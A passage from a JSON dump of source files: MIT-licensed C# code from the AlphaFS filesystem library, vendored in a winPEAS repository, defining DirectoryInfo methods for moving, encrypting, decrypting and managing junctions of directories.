function.</para>\n      /// </summary>\n      /// <remarks>\n      ///   <para>Use this method to allow or prevent overwriting of an existing directory.</para>\n      ///   <para>This method does not work across disk volumes unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>.</para>\n      ///   <para>Whenever possible, avoid using short file names (such as <c>XXXXXX~1.XXX</c>) with this method.</para>\n      ///   <para>If two directories have equivalent short file names then this method may fail and raise an exception and/or result in undesirable behavior.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"CopyMoveResult\"/> class with details of the Move action.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"destinationPath\">\n      ///   <para>The name and path to which to move this directory.</para>\n      ///   <para>The destination cannot be another disk volume unless <paramref name=\"moveOptions\"/> contains <see cref=\"MoveOptions.CopyAllowed\"/>, or a directory with the identical name.</para>\n      ///   <para>It can be an existing directory to which you want to add this directory as a subdirectory.</para>\n      /// </param>\n      /// <param name=\"moveOptions\"><see cref=\"MoveOptions\"/> that specify how the directory is to be moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"progressHandler\">A callback function that is called each time another portion of the directory has been moved. This parameter can be <c>null</c>.</param>\n      /// <param name=\"userProgressData\">The argument to be passed to the callback function. This parameter can be <c>null</c>.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public CopyMoveResult MoveTo(string destinationPath, MoveOptions moveOptions, CopyMoveProgressRoutine progressHandler, object userProgressData, PathFormat pathFormat)\n      {\n         // Reject DelayUntilReboot.\n         if ((moveOptions & MoveOptions.DelayUntilReboot) != 0)\n            throw new ArgumentException(\"The DelayUntilReboot flag is invalid for this method.\", \"moveOptions\");\n\n         string destinationPathLp;\n\n         var cmr = CopyToMoveToCore(destinationPath, false, null, moveOptions, null, progressHandler, userProgressData, out destinationPathLp, pathFormat);\n\n         UpdateSourcePath(destinationPath, destinationPathLp);\n\n         return cmr;\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.Decrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public void Decrypt()\n      {\n         Directory.EncryptDecryptDirectoryCore(LongFullName, false, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"recursive\"><c>true</c> to decrypt the directory recursively. <c>false</c> only decrypt files and directories in the root of the directory.</param>\n      [SecurityCritical]\n      public void Decrypt(bool recursive)\n      {\n         Directory.EncryptDecryptDirectoryCore(LongFullName, false, recursive, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.DisableEncryption.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Disables encryption of the specified directory and the files in it. It does not affect encryption of subdirectories below the indicated directory.</summary>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      /// <remarks>This method will create/change the file \"Desktop.ini\" and wil set Encryption value: \"Disable=0\"</remarks>\n      [SecurityCritical]\n      public void DisableEncryption()\n      {\n         Directory.EnableDisableEncryptionCore(LongFullName, false, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.EnableEncryption.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Enables encryption of the specified directory and the files in it. It does not affect encryption of subdirectories below the indicated directory.</summary>\n      /// <returns><c>true</c> on success, <c>false</c> otherwise.</returns>\n      /// <remarks>This method will create/change the file \"Desktop.ini\" and wil set Encryption value: \"Disable=1\"</remarks>\n      [SecurityCritical]\n      public void EnableEncryption()\n      {\n         Directory.EnableDisableEncryptionCore(LongFullName, true, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Encryption/DirectoryInfo.Encrypt.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Encrypts a directory so that only the account used to encrypt the directory can decrypt it.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public void Encrypt()\n      {\n         Directory.EncryptDecryptDirectoryCore(LongFullName, true, false, PathFormat.LongFullPath);\n      }\n\n\n      /// <summary>[AlphaFS] Decrypts a directory that was encrypted by the current account using the Encrypt method.</summary>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryReadOnlyException\"/>\n      /// <exception cref=\"FileReadOnlyException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"recursive\"><c>true</c> to encrypt the directory recursively. <c>false</c> only encrypt files and directories in the root of the directory.</param>\n      [SecurityCritical]\n      public void Encrypt(bool recursive)\n      {\n         Directory.EncryptDecryptDirectoryCore(LongFullName, true, recursive, PathFormat.LongFullPath);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Junctions, Links/DirectoryInfo.CreateJunction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Converts the <see cref=\"DirectoryInfo\"/> instance into a directory junction instance (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// <para>&#160;</para>\n      /// <para>The directory must be empty and reside on a local volume.</para>\n      /// <para></para>\n      /// <para></para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,</para>\n      /// <para>and a junction can link directories located on different local volumes on the same computer.</para>\n      /// <para>Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      [SecurityCritical]\n      public void CreateJunction(string junctionPath)\n      {\n         UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, false, false, PathFormat.RelativePath));\n\n         RefreshEntryInfo();\n      }\n\n\n      /// <summary>[AlphaFS] Converts the <see cref=\"DirectoryInfo\"/> instance into a directory junction instance (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// <para>&#160;</para>\n      /// <para>The directory must be empty and reside on a local volume.</para>\n      /// <para></para>\n      /// <para></para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,</para>\n      /// <para>and a junction can link directories located on different local volumes on the same computer.</para>\n      /// <para>Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public void CreateJunction(string junctionPath, PathFormat pathFormat)\n      {\n         UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, false, false, pathFormat));\n\n         RefreshEntryInfo();\n      }\n\n\n      /// <summary>[AlphaFS] Converts the <see cref=\"DirectoryInfo\"/> instance into a directory junction instance (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// <para>&#160;</para>\n      /// <para>The directory must be empty and reside on a local volume.</para>\n      /// <para></para>\n      /// <para></para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,</para>\n      /// <para>and a junction can link directories located on different local volumes on the same computer.</para>\n      /// <para>Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      [SecurityCritical]\n      public void CreateJunction(string junctionPath, bool overwrite)\n      {\n         UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, false, PathFormat.RelativePath));\n\n         RefreshEntryInfo();\n      }\n\n\n      /// <summary>[AlphaFS] Converts the <see cref=\"DirectoryInfo\"/> instance into a directory junction instance (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// <para>&#160;</para>\n      /// <para>The directory must be empty and reside on a local volume.</para>\n      /// <para></para>\n      /// <para></para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,</para>\n      /// <para>and a junction can link directories located on different local volumes on the same computer.</para>\n      /// <para>Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public void CreateJunction(string junctionPath, bool overwrite, PathFormat pathFormat)\n      {\n         UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, false, pathFormat));\n\n         RefreshEntryInfo();\n      }\n\n\n      /// <summary>[AlphaFS] Converts the <see cref=\"DirectoryInfo\"/> instance into a directory junction instance (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// <para>&#160;</para>\n      /// <para>The directory must be empty and reside on a local volume.</para>\n      /// <para></para>\n      /// <para></para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,</para>\n      /// <para>and a junction can link directories located on different local volumes on the same computer.</para>\n      /// <para>Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      [SecurityCritical]\n      public void CreateJunction(string junctionPath, bool overwrite, bool copyTargetTimestamps)\n      {\n         UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, copyTargetTimestamps, PathFormat.RelativePath));\n\n         RefreshEntryInfo();\n      }\n\n\n      /// <summary>[AlphaFS] Converts the <see cref=\"DirectoryInfo\"/> instance into a directory junction instance (similar to CMD command: \"MKLINK /J\").</summary>\n      /// <remarks>\n      /// <para>&#160;</para>\n      /// <para>The directory must be empty and reside on a local volume.</para>\n      /// <para></para>\n      /// <para></para>\n      /// <para>&#160;</para>\n      /// <para>MSDN: A junction (also called a soft link) differs from a hard link in that the storage objects it references are separate directories,</para>\n      /// <para>and a junction can link directories located on different local volumes on the same computer.</para>\n      /// <para>Otherwise, junctions operate identically to hard links. Junctions are implemented through reparse points.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path of the junction point to create.</param>\n      /// <param name=\"overwrite\"><c>true</c> to overwrite an existing junction point. The directory is removed and recreated.</param>\n      /// <param name=\"copyTargetTimestamps\"><c>true</c> to copy the target date and time stamps to the directory junction.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public void CreateJunction(string junctionPath, bool overwrite, bool copyTargetTimestamps, PathFormat pathFormat)\n      {\n         UpdateSourcePath(junctionPath, Directory.CreateJunctionCore(Transaction, junctionPath, LongFullName, overwrite, copyTargetTimestamps, pathFormat));\n\n         RefreshEntryInfo();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Junctions, Links/DirectoryInfo.DeleteJunction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Removes the directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      [SecurityCritical]\n      public void DeleteJunction()\n      {\n         Directory.DeleteJunctionCore(Transaction, null, LongFullName, false, PathFormat.LongFullPath);\n\n         RefreshEntryInfo();\n      }\n\n\n      /// <summary>[AlphaFS] Removes the directory junction.</summary>\n      /// <para>&#160;</para>\n      /// <remarks>\n      /// <para>Only the directory junction is removed, not the target.</para>\n      /// </remarks>\n      /// <returns>A <see cref=\"DirectoryInfo\"/> instance referencing the junction point.</returns>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"DirectoryNotFoundException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotAReparsePointException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"removeDirectory\">When <c>true</c>, also removes the directory and all its contents.</param>\n      [SecurityCritical]\n      public void DeleteJunction(bool removeDirectory)\n      {\n         Directory.DeleteJunctionCore(Transaction, null, LongFullName, removeDirectory, PathFormat.LongFullPath);\n\n         RefreshEntryInfo();\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo Junctions, Links/DirectoryInfo.ExistsJunction.cs",
    "content": "/*  Copyright (C) 2008-2018 Peter Palotas, Jeffrey Jangli, Alexandr Normuradov\n *  \n *  Permission is hereby granted, free of charge, to any person obtaining a copy \n *  of this software and associated documentation files (the \"Software\"), to deal \n *  in the Software without restriction, including without limitation the rights \n *  to use, copy, modify, merge, publish, distribute, sublicense, and/or sell \n *  copies of the Software, and to permit persons to whom the Software is \n *  furnished to do so, subject to the following conditions:\n *  \n *  The above copyright notice and this permission notice shall be included in \n *  all copies or substantial portions of the Software.\n *  \n *  THE SOFTWARE IS PROVIDED \"AS IS\", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR \n *  IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, \n *  FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE \n *  AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER \n *  LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, \n *  OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN \n *  THE SOFTWARE. \n */\n\nusing System;\nusing System.IO;\nusing System.Security;\n\nnamespace Alphaleonis.Win32.Filesystem\n{\n   public sealed partial class DirectoryInfo\n   {\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      [SecurityCritical]\n      public bool ExistsJunction(string junctionPath)\n      {\n         return Directory.ExistsJunctionCore(Transaction, null, junctionPath, PathFormat.RelativePath);\n      }\n\n\n      /// <summary>[AlphaFS] Determines whether the given path refers to an existing directory junction on disk.</summary>\n      /// <returns>\n      ///   <para>Returns <c>true</c> if <paramref name=\"junctionPath\"/> refers to an existing directory junction.</para>\n      ///   <para>Returns <c>false</c> if the directory junction does not exist or an error occurs when trying to determine if the specified file exists.</para>\n      /// </returns>\n      /// <para>&#160;</para>\n      /// <remarks>\n      ///   <para>The Exists method returns <c>false</c> if any error occurs while trying to determine if the specified file exists.</para>\n      ///   <para>This can occur in situations that raise exceptions such as passing a file name with invalid characters or too many characters,</para>\n      ///   <para>a failing or missing disk, or if the caller does not have permission to read the file.</para>\n      /// </remarks>\n      /// <exception cref=\"ArgumentException\"/>\n      /// <exception cref=\"ArgumentNullException\"/>\n      /// <exception cref=\"IOException\"/>\n      /// <exception cref=\"NotSupportedException\"/>\n      /// <exception cref=\"UnauthorizedAccessException\"/>\n      /// <param name=\"junctionPath\">The path to test.</param>\n      /// <param name=\"pathFormat\">Indicates the format of the path parameter(s).</param>\n      [SecurityCritical]\n      public bool ExistsJunction(string junctionPath, PathFormat pathFormat)\n      {\n         return Directory.ExistsJunctionCore(Transaction, null, junctionPath, pathFormat);\n      }\n   }\n}\n"
  },
  {
    "path": "winPEAS/winPEASexe/winPEAS/3rdParty/AlphaFS/Filesystem/DirectoryInfo Class/DirectoryInfo.CountFileSystemObjects.cs",
